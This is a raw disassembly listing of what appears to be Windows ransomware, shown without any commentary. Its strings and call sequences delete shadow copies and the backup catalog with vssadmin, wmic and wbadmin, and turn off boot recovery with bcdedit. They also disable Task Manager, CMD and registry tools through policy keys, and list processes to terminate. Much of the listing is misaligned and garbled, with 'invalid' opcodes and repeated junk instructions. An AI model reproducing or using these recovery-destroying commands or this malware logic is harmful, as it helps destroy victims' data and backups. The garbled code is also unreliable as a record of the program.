movdqu xmm0, xmmword [str.C:WindowsSystem32_vssadmin.exeShadows_All_QuietDelete]
or byte [rax], al
or byte [rax], al
movdqu xmmword [rax], xmm0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0x20
mov qword [rbp + 0xe0], 0x20
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test eax, ebp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test eax, ebp
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x130], 8
xor byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0x100], 0
mov word [rbp + 0x108], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x138], xmm0
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140034fe7
cmp byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x128], 2
mov dword [rbp + 0x160], 0
mov word [rbp + 0x164], 0
mov dword [rbp + 0xa0], 6
mov dword [rbp + 0xb0], 6
add byte [rax], al
invalid
add byte [rax], al
add bh, al
test eax, eax
add byte [rax], al
add byte [rsi], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x158], 0
mov byte [rbp + 0x168], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400bbaa9]
lea rdi, [rbp + 0xa0]
mov r8d, 6
mov rcx, rdi
call fcn.140096b50
lea rdx, [0x1400bba98]
mov r8d, 7
mov rcx, rdi
call fcn.140096b50
lea rdx, [0x1400bba9f]
mov r8d, 4
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140096b50
lea rdx, [0x1400bbaa3]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140096b50
cmp bl, byte [rdx]
invalid
add byte [rbx + 0xb085], cl
add byte [rbx + 0x127204f8], al
add byte [rcx - 0x48], al
invalid
cmp bl, byte [rdx]
invalid
cmp eax, 6
je 0x140035133
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov dword [rbp + 0xb0], 2
mov eax, dword [rbp + 0xc0]
cmp eax, 4
jb 0x14003515a
cmp eax, 6
je 0x14003515a
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov dl, 7
invalid
mov dl, 7
add bh, al
test eax, eax
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x160], 0x8000000
mov dword [rbp + 0xc0], 2
add byte [rax], al
mov dword [rbp + 0x160], 0x8000000
add dword [rax], eax
add byte [rax], al
add byte [rax], al
or byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x2f0]
lea rdx, [rbp + 0xa0]
call fcn.14009a580
mov rdi, qword [rbp + 0x2f0]
cmp rdi, 3
add esi, dword [rbp + 0x6c]
mov rdi, qword [rbp + 0x2f8]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x1400351c1
invalid
sbb edi, edi
adc eax, 0x7b242
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400372d4
invalid
invalid
and dword [rax], eax
invalid
test byte [0x1880351d9], bl
mov ecx, eax
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
mov eax, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400372d4
mov r13, rax
mov qword [rax], rdi
lea rcx, [rbp + 0xa0]
call fcn.14000ad10
pop rbx
std
inc esi
add qword [r13 + rcx*4 + 0x25], rcx
or edi, dword [rdx - 0x4516fff9]
invalid
add byte [rax], al
invalid
mov r12, rbx
mov rbx, qword [rbp + 0x2f8]
add byte [rax], al
add byte [rax], al
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x180]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], rbx
lea rcx, [rbp + 0x170]
call fcn.14000b7d0
cmp dword [rbp + 0x1d8], 2
jne 0x14003531f
cmp dword [rbp + 0x218], 2
add al, byte [rax]
add byte [rdx], al
mov rbx, r12
jne 0x14003533b
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x258bd], al
cmp dword [rbp + 0x258], 2
add al, byte [rax]
add byte [rdx], al
je 0x140035269
lea rcx, [rbp + 0x258]
call fcn.14000ba30
lea rcx, [rbp + 0xa0]
call fcn.14000ad10
mov byte [rsi + 0x49], 1
lea rax, str.wmicshadowcopydelete
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 4
lea rax, [0x1400bbc50]
mov ebp, 0x48000869
mov dword [rsi + 0x60], eax
mov ebp, 0x48000869
mov dword [rsi + 0x60], eax
mov qword [rsi + 0x68], 2
mov byte [rsi + 0x70], 0
add byte [rax - 0x73], cl
push rsi
push rax
add byte [rax - 0x73], cl
push rsi
push rax
lea rcx, [rbp + 0x2f0]
call fcn.14002e900
cmp qword [rbp + 0x2f0], 0
je 0x1400352c4
dec dword [rax - 0x7d]
mov ebp, 0x2f0
add byte [rdi + rax - 0x50], dh
add al, 0xe9
invalid
mov al, 4
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400379ad
lea rax, str.wbadmincatalog_quiet
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbc88]
invalid
imul ecx, dword [rax], 0x46894800
invalid
mov qword [rsi + 0x68], 3
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
call fcn.14002e900
cmp qword [rbp + 0x2f0], 0
je 0x140035359
invalid
mov al, 5
jmp 0x140037b88
lea rcx, [rbp + 0x1d8]
call fcn.14000ba30
cmp dword [rbp + 0x218], 2
mov rbx, r12
je 0x140035254
lea rcx, [rbp + 0x218]
call fcn.14000ba30
jmp 0xc40350ae
mov ebp, 0x258
add cl, byte [rdi]
test dword [rcx], ecx
invalid
invalid
invalid
jmp 0xc40350ae
jmp 0x140035269
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400379ad
lea rax, str.bcdedit_setdefaultbootstatuspolicyignoreallfailures
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbcf0]
insd dword [rdi], dx
imul ecx, dword [rax], 0x46894800
invalid
mov qword [rsi + 0x68], 4
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
insd dword [rdi], dx
imul ecx, dword [rax], 0x46894800
invalid
call fcn.14002e900
cmp qword [rbp + 0x2f0], 0
je 0x1400353b4
mov al, 6
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400379ad
lea rax, str.bcdedit_setdefaultbootstatuspolicyignoreallfailures
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbd48]
push 0x69
or byte [rax], al
push 0x69
or byte [rax], al
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 4
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
call fcn.14002e900
cmp qword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0
je 0x14003540f
mov al, 7
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400379ad
invalid
invalid
add byte [rax], al
mov fs, word [0xcd4b5421]
add eax, 0x8699a
lea rax, str.C:Program_FilesProcess_Hacker_2ProcessHacker.exe
mov qword [rsi + 0x50], rax
lea rcx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x58], rcx
jmp 0x1400378fa
and al, 0
invalid
and al, 0
add byte [rax - 0x75], cl
test eax, edi
add al, byte [rax]
add byte [rcx + 0x3e183c1], cl
mov rax, qword [rbp + 0x2f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14003549d
invalid
test rcx, rcx
test rcx, rcx
je 0x14003549d
lea rdi, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je case.0x140023efa.270
cmp qword [r15 + 0x10], 0x11
cmp dword [rdi + 0x10], 0x11
jb 0x140035479
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xa8], 0
je 0x1400354b9
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x7af4f
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x7af4f
call fcn.140064380
mov rdi, rax
mov dword [rbp + 0x2f8], 0
mov qword [rbp + 0x2f0], 0
lea rdx, [rbp + 0x2f0]
mov r8d, 0xc
or al, 0
add byte [rax], al
or al, 0
add byte [rax], al
mov rcx, rax
call fcn.140064a50
mov eax, dword [rbp + 0x2f0]
mov ecx, dword [rbp + 0x2f3]
mov dword [rbp + 0x2ab], ecx
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x2a8], eax
mov r12d, dword [rbp + 0x2f7]
movzx r13d, byte [rbp + 0x2fb]
dec qword [rdi]
jne 0x14003552f
dec qword [rdi + 8]
jne 0x14003552f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x170]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rbp + 0x188], 3
jne 0x140037740
mov rbx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x468], rax
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], 0
add byte [rax - 0x39], cl
and al, 0x20
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
fcmovne st(0), st(6)
invalid
add byte [rax - 0x73], cl
invalid
lock add al, byte [rax]
add byte [rax - 0x77], cl
invalid
call fcn.140086540
mov r14, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x300]
lea rdx, [0x1400b8635]
lea rcx, [rbp + 0xa0]
mov r8d, 0xf
call fcn.14000fa90
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0xa8], 0
jne 0x140035feb
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], 0
add byte [rax - 0x39], cl
and al, 0x20
invalid
mov r14, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x180]
mov rcx, r14
mov r8, rbx
call fcn.1400830b0
mov rdi, rax
cmp qword [rbp + 0x178], 0
je 0x140035713
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x1400361d3
test r15, r15
je 0x140035733
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
call fcn.140007e00
mov r13, rax
lea r12, [0x1400b0c00]
mov r15, qword [rbp + 0x470]
jmp 0x1400379bf
mov r13, qword [rbp + 0x178]
lea rdx, str._j_r_
lea rcx, [rbp + 0x2f0]
mov r8d, 3
call fcn.14001a860
mov rbx, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
add byte [rbx], al
add byte [rax], al
add byte [rbx], al
add byte [rax], al
lea rcx, [rbp + 0x170]
mov rdx, rbx
call fcn.140023b60
jrcxz case.0x140028256.78
dec dword [rax - 0x75]
mov ebp, 0x170
jrcxz case.0x140028256.78
dec dword [rax - 0x75]
mov ebp, 0x170
test rdi, rdi
je 0x14003621b
mov qword [rbp + 0x458], r13
mov r8, qword [rbp + 0x180]
mov r13, qword [rbp + 0x178]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call fcn.140023a70
test r13, r13
je 0x1400357d6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x1400357f2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rax, [0x1400d6ad0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x50], 0x6400000
mov qword [rsp + 0x48], 4
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x28], 4
lea rcx, [rbp + 0x170]
lea rdx, [rbp - 0x20]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001eb70
mov r13, qword [rbp + 0x170]
test r13, r13
jne 0x140033dfc
mov rbx, qword [rbp + 0x468]
add rbx, r15
add rbx, qword [rbp + 0x458]
add byte [rax], al
add byte [rax], al
add rbx, qword [rbp + 0x178]
lea rdx, [rbp + 0x8c]
mov rdi, qword [rbp + 0x450]
mov rcx, rdi
call fcn.140008150
mov qword [rsi + 0x60], rdi
mov qword [rsi + 0x68], rbx
mov byte [rsi + 0xb8], 0
mov r15, qword [rbp + 0x470]
mov r14, qword [rbp + 0x98]
lea rdi, [rsi + 0x60]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
mov r8, r14
call fcn.14002f540
cmp qword [rbp + 0x2f0], 0
je 0x1400358da
mov al, 4
jmp 0x140037b8c
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
mov rcx, rdi
call fcn.14000bfc0
test r13, r13
je 0x140035918
cmp qword [rsi + 0x50], 0
je 0x1400379bf
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400379bf
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140035944
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400372f6
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400372f6
mov rbx, rax
mov qword [rbp + 0x470], r15
mov byte [rsi + 0x40], 0
movdqu xmm0, xmmword [rsi + 0x20]
movdqu xmm1, xmmword [rsi + 0x30]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov r14, qword [rax]
mov r15, qword [rax + 0x10]
lea rcx, [rbp + 0x2f0]
mov rdx, r14
mov r8, r15
call case.0x1400861b2.392
cmp dword [rbp + 0x2f0], 2
jne 0x140035a23
mov rax, qword [rbp + 0x2f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
mov r15, qword [rbp + 0x470]
jb 0x1400364d2
test rcx, rcx
je 0x1400364d2
lea rdi, [rax - 1]
mov r15, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, r15
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140035a05
cmp qword [r12 + 0x10], 0x11
jb 0x1400359f3
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rbp + 0x470]
jmp 0x1400364d2
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140035a4f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037520
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 3
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037520
mov byte [rax + 2], 0x64
mov word [rax], 0x6d63
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 3
mov qword [rbp + 0x330], 3
mov byte [rbp + 0x338], 0
mov qword [rbp + 0x380], 8
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x350], 0
mov word [rbp + 0x358], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x388], xmm0
mov byte [rbp + 0x378], 2
mov dword [rbp + 0x3b0], 0
mov word [rbp + 0x3b4], 0
mov dword [rbp + 0x2f0], 6
mov dword [rbp + 0x300], 6
mov dword [rbp + 0x310], 6
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3a8], 0
lea rdx, [0x1400bb54b]
lea rcx, [rbp + 0x2f0]
mov r8d, 2
call fcn.140096b50
lea rcx, [rbp + 0x170]
mov rdx, r14
mov r8, r15
call fcn.140043490
cmp qword [rbp + 0x170], 0
jne 0x1400375d3
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rcx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x2a8], rax
lea rax, [0x140051570]
mov qword [rbp + 0x2b0], rax
lea rax, [0x1400bb558]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], 1
mov qword [rbp + 0x190], 0
lea rax, [rbp + 0x2a8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0x170]
call fcn.140040880
mov rdi, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
call fcn.140096b50
cmp qword [rbp + 0x58], 0
je 0x140035c05
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0xa0], 3
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x2f0]
lea r8, [rbp + 0xa0]
xor r9d, r9d
call fcn.140086cf0
mov r12, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
cmp rax, 2
je 0x140036546
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x468], rcx
mov r15, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1a0]
mov r9, qword [rbp + 0x1a8]
test rax, rax
je 0x140035ca6
mov qword [rbp + 0x450], rcx
mov rcx, qword [rbp + 0x188]
mov r13, r14
mov r14, rdx
mov rdi, rbx
mov rbx, r9
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x450]
mov r9, rbx
mov rbx, rdi
mov rdx, r14
mov r14, r13
mov qword [rbp + 0x70], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x420], 1
movdqu xmmword [rbp + 0x428], xmm0
test r15, r15
mov qword [rbp + 0x450], r12
je 0x140035d7c
test rcx, rcx
je 0x140035dc0
mov qword [rbp + 0x458], r9
mov byte [rbp + 0x467], 1
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x70]
call fcn.1400928a0
mov rax, qword [rbp + 0x170]
cmp rax, 3
je 0x14003778d
mov rcx, qword [rbp + 0x178]
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x2b8], xmm0
movdqu xmm0, xmmword [rbp + 0x190]
movdqu xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], rcx
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x420]
mov rdx, qword [rbp + 0x458]
call fcn.1400928a0
mov rax, qword [rbp + 0x170]
cmp rax, 3
jne 0x140035dfe
mov r15, qword [rbp + 0x178]
jmp 0x1400363aa
test rcx, rcx
je 0x1400363cd
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x420]
mov qword [rbp + 0x458], r9
mov rdx, r9
call case.0x140084166.132
cmp qword [rbp + 0x170], 0
jne 0x1400377d5
mov rcx, qword [rbp + 0x458]
mov r12, qword [rbp + 0x450]
jmp 0x140035df3
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x70]
mov qword [rbp + 0x458], rdx
call case.0x140084166.132
cmp qword [rbp + 0x170], 0
jne 0x140037810
mov r12, qword [rbp + 0x450]
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400363cd
mov rcx, qword [rbp + 0x178]
movups xmm0, xmmword [rbp + 0x190]
movups xmmword [rbp + 0xc0], xmm0
movdqu xmm0, xmmword [rbp + 0x180]
movdqu xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rcx
mov rax, qword [rbp + 0x2d0]
mov rcx, qword [rbp + 0xc8]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rcx
lea r15, [rbp + 0x28]
mov rdi, qword [sym.imp.kernel32.dll_WaitForMultipleObjects]
lea r12, [rbp + 0x170]
lea r13, [rbp + 0x2a8]
mov ecx, 2
mov rdx, r15
xor r8d, r8d
mov r9d, 0xffffffff
call rdi
cmp eax, 1
je 0x140035ed7
test eax, eax
jne 0x140036037
mov rax, qword [rbp + 0x2a8]
test rax, rax
je 0x140035f95
cmp eax, 1
jne 0x140035f73
mov rdx, qword [rbp + 0x2b8]
mov rcx, qword [rbp + 0x2c8]
mov dword [rbp + 0x2e4], 0
lea r8, [rbp + 0x2e4]
mov r9d, 1
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x1400365c0
mov eax, dword [rbp + 0x2e4]
jmp 0x140035f7a
mov rax, qword [rbp + 0xa0]
test rax, rax
je 0x140035f49
cmp eax, 1
jne 0x140035f23
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xc0]
mov dword [rbp + 0x2e4], 0
lea r8, [rbp + 0x2e4]
mov r9d, 1
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x140036356
mov eax, dword [rbp + 0x2e4]
jmp 0x140035f2a
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xa0], 0
mov rcx, qword [rbp + 0xb8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14003638f
mov rcx, r12
lea rdx, [rbp + 0xa0]
call fcn.140092c40
cmp byte [rbp + 0x170], 0
jne 0x140035fc7
cmp byte [rbp + 0x171], 0
jne 0x140035e60
jmp 0x14003638f
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x2a8], 0
mov rcx, qword [rbp + 0x2c0]
add qword [rcx + 0x10], rax
test rax, rax
je 0x140035fb6
mov rcx, r12
mov rdx, r13
call fcn.140092c40
cmp byte [rbp + 0x170], 0
jne 0x140035fc7
cmp byte [rbp + 0x171], 0
jne 0x140035e60
lea rcx, [rbp + 0xa0]
call fcn.140092db0
jmp 0x14003639b
mov r15, qword [rbp + 0x178]
jmp 0x14003639e
mov edx, 2
mov r15d, 4
xor r14d, r14d
mov ebx, 0x2020206
jmp 0x1400360ac
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
jmp 0x14003639e
mov r15, qword [rbp + 0x178]
mov r14, qword [rbp + 0x180]
mov rbx, qword [rbp + 0x188]
mov r9, qword [rbp + 0x190]
mov r12, qword [rbp + 0x198]
movdqu xmm8, xmmword [rbp + 0x1a0]
mov r10, qword [rbp + 0x1b0]
movdqu xmm0, xmmword [rbp + 0x1b8]
movdqa xmmword [rbp + 0x420], xmm0
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x430], rax
mov rcx, r14
shr rcx, 0x20
mov r8, qword [rbp + 0x468]
test r13, r13
mov qword [rbp + 0x440], r10
je 0x1400360f4
mov qword [rbp + 0x448], r15
mov r15, rbx
mov rbx, rcx
mov rcx, qword [0x1400f91f8]
mov rdi, rdx
xor edx, edx
mov r13, r9
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r13
mov rdx, rdi
mov rcx, rbx
mov rbx, r15
mov r15, qword [rbp + 0x448]
mov r10, qword [rbp + 0x440]
cmp edx, 2
jne 0x14003611c
mov qword [rbp + 0x450], rcx
mov rax, r9
mov qword [rbp + 0x468], r12
mov r12, r9
mov rdi, r9
and rdi, 0xffffffffffffff00
jmp 0x140033ece
mov rax, qword [rbp + 0x430]
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0x420]
movdqu xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xa0], rdx
lea r11, [rbp + 0xa8]
mov qword [rbp + 0xa8], r15
mov dword [rbp + 0xb0], r14d
mov dword [rbp + 0xb4], ecx
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], r9
mov qword [rbp + 0xc8], r12
movdqu xmmword [rbp + 0xd0], xmm8
mov qword [rbp + 0xe0], r10
cmp r12, 5
jb 0x1400361a6
mov r13, r15
test r15, r15
mov r15, qword [rbp + 0x470]
je 0x140036261
mov rcx, qword [rbp + 0xb0]
mov rax, r13
jmp 0x1400361bf
mov r13, r15
mov rax, r12
mov rcx, r11
test r12, r12
mov r15, qword [rbp + 0x470]
je 0x140036261
mov rcx, qword [rcx + rax*8 - 8]
test rcx, rcx
je 0x140036243
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x140036248
test r15, r15
je 0x1400361ea
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rbp + 0x2a8]
mov ecx, dword [rbp + 0x2ab]
mov dword [rbp + 0x423], ecx
mov dword [rbp + 0x420], eax
movabs rax, 0xffffffffff
and r12, rax
mov r15, qword [rbp + 0x470]
jmp 0x140033912
mov r13, qword [rbp + 0x178]
mov r12, qword [rbp + 0x180]
cmp qword [rbp + 0x2f8], 0
mov r15, qword [rbp + 0x470]
jne 0x140033f81
jmp 0x1400379bf
mov ecx, 0x40
shl rax, 6
sub rax, rcx
cmp rax, 0x1000
jbe 0x140036261
mov ebx, 0xb
jmp 0x140036791
lea rax, [rbp + 0xd8]
pshufd xmm0, xmm8, 0xee
movq rdx, xmm0
mov rcx, qword [rbp + 0xf8]
cmp rcx, 5
mov r9, rcx
cmovae r9, rdx
mov r8, rax
cmovae r8, r10
test r9, r9
je 0x1400362ab
mov r10, qword [r8]
cmp r9, 1
je 0x1400362ae
mov qword [rbp + 0x2e8], r10
mov ebx, 0xd
jmp 0x140036791
xor r10d, r10d
cmp r12, 5
mov qword [rbp + 0x468], r12
mov qword [rbp + 0x2e8], r10
mov qword [rbp + 0x68], r11
jb 0x140036336
mov r10, qword [rbp + 0xb0]
cmp r9, r13
jb 0x140036342
mov ebx, 8
ja 0x140036778
lea r8, [r8 + r9*8]
add r8, 0xfffffffffffffff8
shl r9, 3
neg r9
mov rdi, r13
lea r11, [r13*8]
lea rdi, [r10 + r13*8]
add rdi, 0xfffffffffffffff8
neg r11
xor r14d, r14d
cmp r9, r14
je 0x140036778
cmp r11, r14
je 0x140036778
mov r15, qword [r8 + r14]
mov r12, qword [rdi + r14]
cmp r15, r12
jb 0x140036781
add r14, 0xfffffffffffffff8
cmp r15, r12
jbe 0x140036305
jmp 0x140036778
mov r10, r11
cmp r9, r12
jae 0x140036645
test byte [r10], 1
jne 0x140036602
mov ebx, 8
jmp 0x140036791
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15, rax
shl r15, 0x20
or r15, 2
mov qword [rbp + 0x170], r15
cmp eax, 0x6d
je 0x140036378
cmp eax, 0x26
jne 0x14003639e
lea rcx, [rbp + 0x170]
call fcn.14007a090
mov qword [rbp + 0xa0], 0
lea rcx, [rbp + 0x2a8]
call fcn.140092db0
mov r15, rax
lea rcx, [rbp + 0xa0]
call fcn.1400929e0
mov byte [rbp + 0x467], 0
lea rcx, [rbp + 0x2a8]
call fcn.1400929e0
test r15, r15
mov r12, qword [rbp + 0x450]
jne 0x1400377a1
mov rcx, r12
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x14003642e
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
cmp qword [rbp + 0x428], 0
je 0x14003640c
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or r15, 2
cmp qword [rbp + 0x78], 0
je 0x14003642a
mov r8, qword [rbp + 0x70]
mov rcx, qword [0x1400f91f8]
xor edx, edx
